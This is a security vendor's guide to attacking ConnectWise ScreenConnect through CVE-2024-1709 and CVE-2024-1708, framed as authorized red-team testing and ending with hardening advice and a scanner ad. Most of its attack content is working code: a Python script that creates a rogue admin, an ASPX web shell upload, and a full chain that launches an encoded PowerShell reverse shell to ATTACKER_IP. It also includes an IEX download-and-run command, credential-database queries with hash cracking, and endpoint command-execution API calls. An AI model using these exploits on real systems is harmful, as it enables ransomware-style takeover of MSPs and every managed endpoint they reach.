ConnectWise ScreenConnect (formerly Control) is the remote access platform of choice for MSPs and IT departments worldwide. In February 2024, two critical vulnerabilities were disclosed: CVE-2024-1709 (CVSS 10.0) allows complete authentication bypass on on-premises instances, and CVE-2024-1708 enables path traversal for arbitrary file write. Together they form a pre-auth RCE chain that was weaponized by BlackCat/ALPHV, LockBit, and BianLian affiliates within 24 hours of public disclosure. A single ScreenConnect server can pivot into hundreds of managed endpoints. This guide covers authorized ScreenConnect security testing for MSP security audits and red team engagements.
ConnectWise ScreenConnect runs as a Windows service (or Linux via Mono) with a web interface accessible over HTTPS. The server maintains persistent connections to all enrolled endpoints (ScreenConnect Agents). Operators authenticate to the ScreenConnect web console and then connect to any enrolled endpoint through the server — all traffic is relayed through the ScreenConnect server, which acts as a hub for all remote access sessions.
| Component | Default Port | Attack Vector |
|---|---|---|
| ScreenConnect Web UI | 443 (HTTPS), 8040 (HTTP) | CVE-2024-1709 auth bypass; credential brute force |
| Relay Service | 8041 (TCP) | Agent-to-server relay; session interception |
| Guest/Access Page | 443 (HTTPS) | Public-facing invite links; session code enumeration |
| API Endpoint | 443 /api/ | API token abuse; session enumeration; command execution |
| SQLite Database | Local file | Credential extraction; session token theft |
| Configuration Files | Local filesystem | CVE-2024-1708 path traversal; config overwrite |
CVE-2024-1709 is a path confusion vulnerability in ScreenConnect versions before 23.9.8. The authentication mechanism for the /SetupWizard.aspx setup page can be reached even on fully configured instances by appending a trailing slash or using specific URL path patterns. This bypasses the authentication check entirely, allowing an unauthenticated attacker to reach the setup wizard, create a new admin user, and gain full administrative access to the ScreenConnect server.
# Step 1: Discover ScreenConnect servers
nmap -sV -p 443,8040,8041 TARGET_RANGE --open -oG screenconnect.txt
# Step 2: Fingerprint ScreenConnect version from login page
curl -sk "https://SCREENCONNECT_HOST/Login" | grep -i "version\|screenconnect\|connectwise"
# Step 3: Direct version check via HTTP header or page source
curl -sk -I "https://SCREENCONNECT_HOST/" | grep -i "server\|x-powered-by"
# Step 4: Check for vulnerability by attempting setup wizard access
# Vulnerable: setup wizard accessible on configured instances
# CVE-2024-1709 allows reaching /SetupWizard.aspx with trailing slash
HTTP_STATUS=$(curl -sk -o /dev/null -w "%{http_code}" \
"https://SCREENCONNECT_HOST/SetupWizard.aspx/")
echo "SetupWizard response: $HTTP_STATUS"
# 200 = potentially vulnerable (setup wizard accessible)
# 302/403 = likely patched or properly configured
# Step 5: Check version string in app footer
curl -sk "https://SCREENCONNECT_HOST/Login" | \
grep -oP 'version[^"]*"[^"]*"' | head -3
# Vulnerable versions: < 23.9.8 (February 2024)
# CVE-2024-1709 Exploitation: Create admin user via setup wizard bypass
import requests
import json
import urllib3
urllib3.disable_warnings()
SCREENCONNECT_HOST = "https://SCREENCONNECT_HOST"
NEW_ADMIN_USER = "pentestadmin"
NEW_ADMIN_PASS = "PentestP@ss2024!"
def exploit_cve_2024_1709():
session = requests.Session()
session.verify = False
# Step 1: Access setup wizard via path bypass
# The trailing slash bypasses the authentication check
setup_url = f"{SCREENCONNECT_HOST}/SetupWizard.aspx/"
r = session.get(setup_url)
print(f"[*] Setup wizard status: {r.status_code}")
if r.status_code != 200:
print("[-] Not vulnerable or already patched")
return False
# Step 2: Extract anti-CSRF token from setup page
import re
csrf_match = re.search(r'__RequestVerificationToken[^>]*value="([^"]+)"', r.text)
if not csrf_match:
print("[-] Could not find CSRF token")
return False
csrf_token = csrf_match.group(1)
print(f"[+] CSRF token: {csrf_token[:20]}...")
# Step 3: Submit setup wizard form to create admin account
setup_data = {
"__RequestVerificationToken": csrf_token,
"Name": NEW_ADMIN_USER,
"Password": NEW_ADMIN_PASS,
"Email": "admin@pentestlab.local",
"IsActive": "true",
# Wizard step varies by version
"WizardStep": "CreateAdministrator"
}
r = session.post(setup_url, data=setup_data)
print(f"[*] Admin creation response: {r.status_code}")
# Step 4: Verify login with new credentials
login_url = f"{SCREENCONNECT_HOST}/Login"
login_data = {
"Username": NEW_ADMIN_USER,
"Password": NEW_ADMIN_PASS
}
r = session.post(login_url, data=login_data, allow_redirects=True)
if "dashboard" in r.url.lower() or r.status_code == 200:
print(f"[+] SUCCESS! Admin account created: {NEW_ADMIN_USER}:{NEW_ADMIN_PASS}")
return session
else:
print(f"[-] Login failed: {r.status_code}")
return False
session = exploit_cve_2024_1709()
CVE-2024-1708 (CVSS 8.4) is a path traversal vulnerability in the file upload functionality of ScreenConnect. An authenticated attacker (or unauthenticated via CVE-2024-1709 chain) can write arbitrary files to any location on the server filesystem. The typical exploitation path writes a malicious ASPX web shell to the ScreenConnect web root, achieving direct code execution on the server.
# CVE-2024-1708: Authenticated path traversal for arbitrary file write
# Requires authentication — chain with CVE-2024-1709 for pre-auth RCE
import requests
import urllib3
urllib3.disable_warnings()
SCREENCONNECT_HOST = "https://SCREENCONNECT_HOST"
SESSION = requests.Session()
SESSION.verify = False
# Authenticate first (using CVE-2024-1709 created account or stolen creds)
SESSION.post(f"{SCREENCONNECT_HOST}/Login", data={
"Username": "admin", "Password": "ADMIN_PASS"
})
# Step 1: Craft path traversal payload
# Target: write ASPX shell to web root
# The extension upload endpoint allows path traversal via filename
WEBSHELL_CONTENT = """<%@ Page Language="C#" %>
<%@ Import Namespace="System.Diagnostics" %>
<%
string cmd = Request.QueryString["cmd"];
if (!string.IsNullOrEmpty(cmd)) {
ProcessStartInfo psi = new ProcessStartInfo("cmd.exe", "/c " + cmd);
psi.RedirectStandardOutput = true;
psi.UseShellExecute = false;
Process p = Process.Start(psi);
string output = p.StandardOutput.ReadToEnd();
Response.Write("" + Server.HtmlEncode(output) + "
");
}
%>"""
# Step 2: Upload webshell via path traversal
# The filename traverses out of the intended upload directory
import io
files = {
'file': (
# Traversal: ../../../inetpub/wwwroot/screenconnect/shell.aspx
'..%2F..%2F..%2Finetpub%2Fwwwroot%2Fshell.aspx',
io.BytesIO(WEBSHELL_CONTENT.encode()),
'text/plain'
)
}
# Extension upload endpoint (varies by version)
upload_url = f"{SCREENCONNECT_HOST}/App_Extensions/upload"
r = SESSION.post(upload_url, files=files)
print(f"[*] Upload response: {r.status_code}")
# Step 3: Trigger the uploaded webshell
webshell_url = f"{SCREENCONNECT_HOST}/shell.aspx?cmd=whoami"
r = SESSION.get(webshell_url)
print(f"[+] Shell output:\n{r.text}")
The CVE-2024-1709 + CVE-2024-1708 combination provides a complete unauthenticated remote code execution chain. This is the exact chain used by ransomware operators in February-March 2024 attacks against MSPs. The full chain from initial access to SYSTEM shell takes under 2 minutes on unpatched instances.
# Full pre-auth RCE chain: CVE-2024-1709 + CVE-2024-1708
# Tested against ScreenConnect < 23.9.8
#!/usr/bin/env python3
import requests, re, io, time, urllib3
urllib3.disable_warnings()
TARGET = "https://SCREENCONNECT_HOST"
ATTACKER_IP = "ATTACKER_IP"
ATTACKER_PORT = 4444
def chain_exploit(target, attacker_ip, attacker_port):
s = requests.Session()
s.verify = False
print("[1/4] Step 1: Authentication bypass via CVE-2024-1709")
setup = s.get(f"{target}/SetupWizard.aspx/")
if setup.status_code != 200:
print("[-] Not vulnerable")
return
csrf = re.search(r'__RequestVerificationToken[^>]*value="([^"]+)"', setup.text)
token = csrf.group(1) if csrf else ""
s.post(f"{target}/SetupWizard.aspx/", data={
"__RequestVerificationToken": token,
"Name": "sc_operator_temp",
"Password": "TempP@ss9876!",
"Email": "temp@temp.local"
})
print("[2/4] Step 2: Authenticate with created admin account")
s.post(f"{target}/Login", data={
"Username": "sc_operator_temp",
"Password": "TempP@ss9876!"
})
print("[3/4] Step 3: Path traversal file write via CVE-2024-1708")
# PowerShell reverse shell payload (Base64 encoded)
ps_cmd = f"$c=New-Object Net.Sockets.TCPClient('{attacker_ip}',{attacker_port});$s=$c.GetStream();[byte[]]$b=0..65535|%{{0}};while(($i=$s.Read($b,0,$b.Length)) -ne 0){{;$d=(New-Object Text.ASCIIEncoding).GetString($b,0,$i);$sb=(iex $d 2>&1|Out-String);$sb2=$sb+'PS '+(pwd).Path+'> ';$sb3=[text.encoding]::ASCII.GetBytes($sb2);$s.Write($sb3,0,$sb3.Length);}}"
import base64
ps_b64 = base64.b64encode(ps_cmd.encode('utf-16-le')).decode()
shell_content = f'<%@ Page Language="C#" %><% System.Diagnostics.Process.Start("powershell","-enc {ps_b64}"); %>'
s.post(f"{target}/App_Extensions/upload", files={
'file': ('..%2F..%2Fshell.aspx', io.BytesIO(shell_content.encode()), 'text/plain')
})
print("[4/4] Step 4: Trigger shell — start listener first")
print(f"nc -lvnp {attacker_port}")
time.sleep(2)
s.get(f"{target}/shell.aspx", timeout=3)
print("[+] Shell triggered")
chain_exploit(TARGET, ATTACKER_IP, ATTACKER_PORT)
Even without exploiting CVE-2024-1709, ScreenConnect's session management has several weaker points. Access codes (the short codes used in support session URLs) can be enumerated or stolen from the server database. Authenticated attackers with operator access can join any active session, including sessions with other clients — a significant concern in MSP environments where technicians from different customer accounts share a platform.
# With admin credentials (stolen or created via CVE-2024-1709):
# Method 1: Web API session enumeration
curl -sk -u "admin:PASS" \
"https://SCREENCONNECT_HOST/App_Web/Session.json" | python3 -m json.tool
# Method 2: Direct API query for all connected machines
curl -sk -H "Cookie: SESSION_COOKIE=STOLEN_SESSION" \
"https://SCREENCONNECT_HOST/api/Sessions?sessionType=Access" | \
python3 -c "
import sys, json
data = json.load(sys.stdin)
for s in data:
print(f\"Host: {s.get('Name')} | OS: {s.get('GuestOperatingSystemName')} | Code: {s.get('Code')}\")
"
# Method 3: SQLite database access (post-server-compromise)
# ScreenConnect stores sessions in SQLite
find / -name "App_Data" -path "*ScreenConnect*" 2>/dev/null
# Common: C:\Program Files (x86)\ScreenConnect\App_Data\
sqlite3 "C:\Program Files (x86)\ScreenConnect\App_Data\Session.db" \
"SELECT Name, Code, GuestOperatingSystemName, GuestMachineDomain FROM Sessions WHERE SessionType=2;"
# With admin or operator access, connect to any enrolled endpoint
# Generate direct connection URL (access session)
# Format: https://SCREENCONNECT_HOST/Join#Access/{SessionCode}/{OperatorPasscode}
# Enumerate all enrolled machines (permanent access agents)
curl -sk "https://SCREENCONNECT_HOST/api/Sessions?sessionType=Access&sortBy=Name" \
-H "Authorization: Bearer API_TOKEN" | python3 -c "
import sys, json
data = json.load(sys.stdin)
print(f'Total endpoints: {len(data)}')
for s in data[:20]: # show first 20
print(f\" {s.get('Name'):40} | {s.get('GuestOperatingSystemName'):30} | Code: {s.get('Code')}\")
"
# Command execution via ScreenConnect API (run command on enrolled endpoint)
curl -sk -X POST "https://SCREENCONNECT_HOST/api/Sessions/{SESSION_CODE}/Commands" \
-H "Authorization: Bearer API_TOKEN" \
-H "Content-Type: application/json" \
-d '{"Commands": [{"Command": "cmd /c whoami > C:\\Temp\\out.txt"}]}'
# Retrieve command output
curl -sk "https://SCREENCONNECT_HOST/api/Sessions/{SESSION_CODE}/Commands/{COMMAND_ID}/Output" \
-H "Authorization: Bearer API_TOKEN"
The ScreenConnect server stores administrator credentials, operator credentials, and configuration in SQLite databases and configuration files. With filesystem access (via CVE-2024-1708 webshell), these are directly readable.
# ScreenConnect user credentials stored in SQLite
# Default location: C:\Program Files (x86)\ScreenConnect\App_Data\
# List database files
dir "C:\Program Files (x86)\ScreenConnect\App_Data\" /b
# Query user database
sqlite3 "C:\Program Files (x86)\ScreenConnect\App_Data\User.db" \
"SELECT Name, PasswordHash, PasswordSalt, Role FROM Users;"
# Sample output:
# admin|sha256_hash_here|salt_here|Admin
# operator1|sha256_hash_here|salt_here|Technician
# Extract and crack offline
# ScreenConnect uses SHA-256 with salt
# Format for hashcat: sha256($salt.$pass)
# hashcat -m 1420 hashes.txt rockyou.txt
# Alternative: extract from web.config (may contain connection strings)
type "C:\Program Files (x86)\ScreenConnect\web.config"
# Look for: connectionStrings, appSettings with API keys or passwords
# ScreenConnect configuration files — sensitive values
# Main application configuration
type "C:\Program Files (x86)\ScreenConnect\App_Data\Configuration.json"
# Contains: license key, relay settings, SMTP credentials, SSO configuration
# Extension data (may contain API keys for integrations)
dir "C:\Program Files (x86)\ScreenConnect\App_Extensions\" /s /b
# Each extension may have its own configuration with API keys
# IIS application configuration
type "C:\inetpub\wwwroot\screenconnect\web.config"
# Windows Event Log: ScreenConnect auth events
wevtutil qe Application /q:"*[System[Provider[@Name='ScreenConnect']]]" /f:text | head -200
# Recover session tokens from IIS logs
findstr /i "session token authorization" "C:\inetpub\logs\LogFiles\W3SVC1\*.log" | tail -50
The CVE-2024-1709 vulnerability was exploited by multiple ransomware-as-a-service affiliates within hours of public disclosure on February 19, 2024. CISA and FBI published a joint advisory documenting the exploitation patterns. Understanding these TTPs is critical for defenders implementing detection and for red teams simulating realistic scenarios.
| T+0h | CVE-2024-1709 publicly disclosed (ConnectWise advisory) |
|---|---|
| T+12h | First exploitation attempts observed in Shodan/scan data |
| T+24h | BlackCat/ALPHV affiliates weaponize chain, MSP targeting begins |
| T+48h | LockBit affiliates add to toolkit; multiple MSP compromises reported |
| T+72h | BianLian group also exploiting; CISA KEV entry added |
| T+96h | CISA/FBI joint advisory published; >1,500 unpatched instances identified |
# Observed BlackCat/ALPHV TTP via ScreenConnect (based on CISA advisory and incident reports)
# Phase 1: Initial Access via CVE-2024-1709
# - Exploit auth bypass to create rogue admin account
# - Use ScreenConnect remote access to push tools to endpoints
# Phase 2: Tool Deployment via ScreenConnect Command Execution
# Observed tools deployed via ScreenConnect sessions:
# - Cobalt Strike beacon (stager via PowerShell)
# - NetScan.exe (network enumeration)
# - Advanced IP Scanner
# - Mimikatz (credential harvesting)
# - AnyDesk (secondary persistence)
# - Rclone (exfiltration to cloud storage)
# Simulated deployment via ScreenConnect API (authorized testing)
# Deploy reconnaissance tool to enrolled endpoint
COMMANDS='[
{"Command": "powershell -c \"IEX (New-Object Net.WebClient).DownloadString(\\\"http://ATTACKER/recon.ps1\\\")\""}
]'
curl -sk -X POST "https://SCREENCONNECT_HOST/api/Sessions/{SESSION_CODE}/Commands" \
-H "Authorization: Bearer API_TOKEN" \
-H "Content-Type: application/json" \
-d "$COMMANDS"
# Phase 3: Credential Harvesting
# Mimikatz via ScreenConnect:
# "privilege::debug" "sekurlsa::logonpasswords full" "lsadump::sam" "exit"
# Phase 4: Lateral Movement
# Use harvested credentials to move to:
# - vCenter / Hyper-V (VM access)
# - File servers (exfiltration targets)
# - Domain controllers (AD compromise)
# - Backup infrastructure (delete backups)
# Phase 5: Data Exfiltration via Rclone
# Observed rclone configuration used in attacks:
# rclone copy "\\FILESERVER\Finance" remote:megadump/Finance --transfers 10
# Remote: MEGA, pCloud, or attacker-controlled S3
# Phase 6: Ransomware Deployment
# BlackCat encryptor pushed via ScreenConnect file transfer to all enrolled machines
# Sequential execution across hundreds of managed endpoints simultaneously
ScreenConnect's value as a pivot point comes from the pre-established connections to all enrolled machines. Rather than performing network reconnaissance and exploitation of each target, an attacker with ScreenConnect admin access can immediately run commands on every connected endpoint — effectively a built-in lateral movement and command-and-control platform.
# Enumerate all enrolled endpoints (with admin API access)
python3 << 'EOF'
import requests, json, urllib3
urllib3.disable_warnings()
HOST = "https://SCREENCONNECT_HOST"
TOKEN = "ADMIN_API_TOKEN"
headers = {"Authorization": f"Bearer {TOKEN}"}
# Get all permanently enrolled access sessions (managed endpoints)
r = requests.get(f"{HOST}/api/Sessions?sessionType=Access",
headers=headers, verify=False)
sessions = r.json()
print(f"[+] Total enrolled endpoints: {len(sessions)}")
# Categorize by OS
windows = [s for s in sessions if 'Windows' in s.get('GuestOperatingSystemName','')]
linux = [s for s in sessions if 'Linux' in s.get('GuestOperatingSystemName','')]
macos = [s for s in sessions if 'Mac' in s.get('GuestOperatingSystemName','')]
print(f" Windows: {len(windows)}")
print(f" Linux: {len(linux)}")
print(f" macOS: {len(macos)}")
# Find high-value targets
servers = [s for s in sessions if any(kw in s.get('Name','').upper()
for kw in ['DC', 'DOMAIN', 'AD', 'EXCHANGE', 'SQL', 'FILE', 'BACKUP', 'VC'])]
print(f"\n[!] High-value targets ({len(servers)}):")
for s in servers[:10]:
print(f" {s.get('Name')} | {s.get('GuestOperatingSystemName')} | Domain: {s.get('GuestMachineDomain')}")
EOF
| Control | Action | Priority |
|---|---|---|
| CVE-2024-1709 patch | Upgrade to ScreenConnect 23.9.8 or later immediately — this is a CVSS 10.0 vulnerability | Critical |
| CVE-2024-1708 patch | Upgrade to ScreenConnect 23.9.8 or later; disable file upload if unused | Critical |
| Network access restriction | Restrict ScreenConnect admin console (port 443/8040) to VPN or allowlisted management IPs — never expose to public internet | Critical |
| MFA for admin accounts | Enable two-factor authentication for all administrator and operator accounts | Critical |
| Access code expiry | Set short expiry on support session access codes; disable persistent access sessions for external users | High |
| Operator permission segmentation | Restrict each operator to only the client groups they manage; disable cross-client session visibility | High |
| Audit logging to SIEM | Forward ScreenConnect access logs; alert on new admin account creation, bulk session commands, and off-hours logins | High |
| Disable setup wizard post-setup | Ensure SetupWizard.aspx is inaccessible after initial configuration — verify this explicitly | High |
| Cloud-hosted vs on-premises | Consider migrating to ConnectWise cloud-hosted offering where patching is managed automatically | Medium |
| Endpoint detection scope | Ensure EDR covers all ScreenConnect-enrolled endpoints; alert on ScreenConnect-initiated process creation chains | Medium |
| Session recording | Enable session recording for all remote access sessions; store recordings in tamper-evident storage | Medium |
Ironimo continuously scans for vulnerable ScreenConnect deployments, exposed remote access platforms, and authentication bypass conditions — before ransomware operators find them.
Start free scan